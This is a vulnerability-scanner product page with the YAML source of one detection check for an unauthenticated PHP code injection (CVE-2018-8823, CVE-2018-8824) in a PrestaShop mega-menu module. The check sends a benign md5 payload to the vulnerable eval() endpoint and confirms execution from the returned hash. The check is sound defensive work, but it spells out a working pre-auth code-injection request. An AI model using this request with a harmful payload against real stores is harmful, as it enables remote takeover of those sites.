PrestaShop — 1 vulnerability check

noctis ships 1 vulnerability check for PrestaShop, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PrestaShop Responsive Mega Menu ajax_phpcode.php unauthenticated PHP code injection

CVECVE-2018-8823, CVE-2018-8824
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/prestashop/prestashop-bamegamenu-rce.yaml

Sends `print(md5(<random>));` in the `code` parameter of /modules/bamegamenu/ajax_phpcode.php (web root, /prestashop, /shop). A response carrying the md5 of the per-run random number confirms that the module evaluated attacker-supplied PHP code without authentication.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{ps_dir}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{proof.n}}));
  3. Parses / computes the next value with a Rhai script
  4. Checks check.evaluated for ^true$ → finding QoD 97: PrestaShop Responsive Mega Menu unauthenticated PHP code injection (CVE-2018-8823, CVE-2018-8824)

References:

Feed source — tests/vulnerabilities/prestashop/prestashop-bamegamenu-rce.yaml
# PrestaShop Responsive Mega Menu (bamegamenu) — unauthenticated PHP code
# injection in ajax_phpcode.php (CVE-2018-8823, CVE-2018-8824)
#
# modules/bamegamenu/ajax_phpcode.php of the "Responsive Mega Menu
# (Horizontal+Vertical+Dropdown) Pro" module 1.0.32 passes the `code` request
# parameter to PHP eval() without any authentication. Anyone can run arbitrary
# PHP (RCE, CVE-2018-8823) or arbitrary queries through the PrestaShop DB layer
# (SQLi, CVE-2018-8824) — both CVEs are the same eval sink.
#
# Ported from OpenVAS/Greenbone NVT 2020/prestashop/gb_prestashop_rce_vuln_mar18.nasl
# (OID 1.3.6.1.4.1.25623.1.0.144185, GPL-2.0-only), with these deliberate changes:
#   * Benign in-process proof instead of the NASL's `echo exec(<OS command>);`:
#     the injected code is `print(md5(<random number>));`. Only a server that
#     really evaluated our PHP can return the md5 of a per-run random value
#     (computed locally, never sent) — a reflected URL only carries `md5(N)`.
#     No OS command, no write, no data read.
#   * Works where the NASL misses: exec()/system() are routinely listed in
#     `disable_functions` on PrestaShop hosting, so the NASL's exec() probe
#     returns nothing (false negative) while eval() of md5() still runs.
#   * No prior PrestaShop detection needed: the NASL only probes the install
#     directory its detection NVT found; this feed tries the web root and the
#     usual /prestashop/ and /shop/ sub-directories itself.
uid: 4c8f35b0-fe71-4725-81b2-2a26ddb222d8
name: "PrestaShop Responsive Mega Menu ajax_phpcode.php unauthenticated PHP code injection (CVE-2018-8823, CVE-2018-8824)"
description: |
  Sends `print(md5(<random>));` in the `code` parameter of
  /modules/bamegamenu/ajax_phpcode.php (web root, /prestashop, /shop). A
  response carrying the md5 of the per-run random number confirms that the
  module evaluated attacker-supplied PHP code without authentication.
cves: [CVE-2018-8823, CVE-2018-8824]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [prestashop, bamegamenu, php, code-injection, eval, rce, sqli, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-8823"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-8824"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8823.yaml"

steps:
  # ── Per-run random value + the md5 only a PHP eval() can produce ─────────
  # The number goes into the request; the hash is computed here and never sent.
  - id: build-proof
    action: script
    store_as: proof
    code: |
      let n = rand_int(100000000, 999999999).to_string();
      #{ n: n, hash: md5(n) }

  # ── Pre-initialise the stored result so a failed request (timeout, reset)
  # never leaves `phpcode_resp` undefined for the script below. From here on
  # every step runs once per candidate install directory (loop group).
  - id: init-resp
    action: set_var
    var_name: phpcode_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/prestashop", "/shop"]
      var: ps_dir

  # ── The NASL's GET on ajax_phpcode.php, with a benign eval payload ───────
  - id: inject
    action: http_request
    method: GET
    path: "{{ps_dir}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{proof.n}}));"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: phpcode_resp

  # ── Did the server EVALUATE our PHP? (the locally computed md5 is present) ─
  - id: evaluate
    action: script
    store_as: check
    code: |
      let body = if type_of(phpcode_resp.body) == "string" { phpcode_resp.body } else { "" };
      #{ evaluated: phpcode_resp.status == 200 && stridx(body, proof.hash) >= 0 }

  - id: confirm
    action: match
    source: check.evaluated
    pattern: "^true$"
    on_match:
      finding:
        title: "PrestaShop Responsive Mega Menu unauthenticated PHP code injection (CVE-2018-8823, CVE-2018-8824)"
        description: "modules/bamegamenu/ajax_phpcode.php passes the `code` request parameter to PHP eval() without authentication. A benign `print(md5(<random>));` payload was evaluated and its computed hash returned, confirming unauthenticated remote PHP code execution (and SQL injection through the PrestaShop DB layer)."
        remediation: "Update the Responsive Mega Menu (bamegamenu) module past 1.0.32, or delete modules/bamegamenu/ajax_phpcode.php."
        confidence_delta: 0.75
        qod: 97
        evidence: "GET {{ps_dir}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{proof.n}})); returned HTTP {{phpcode_resp.status}} containing md5({{proof.n}}) = {{proof.hash}} — PHP evaluated server-side"
      stop: true

View these feeds on GitHub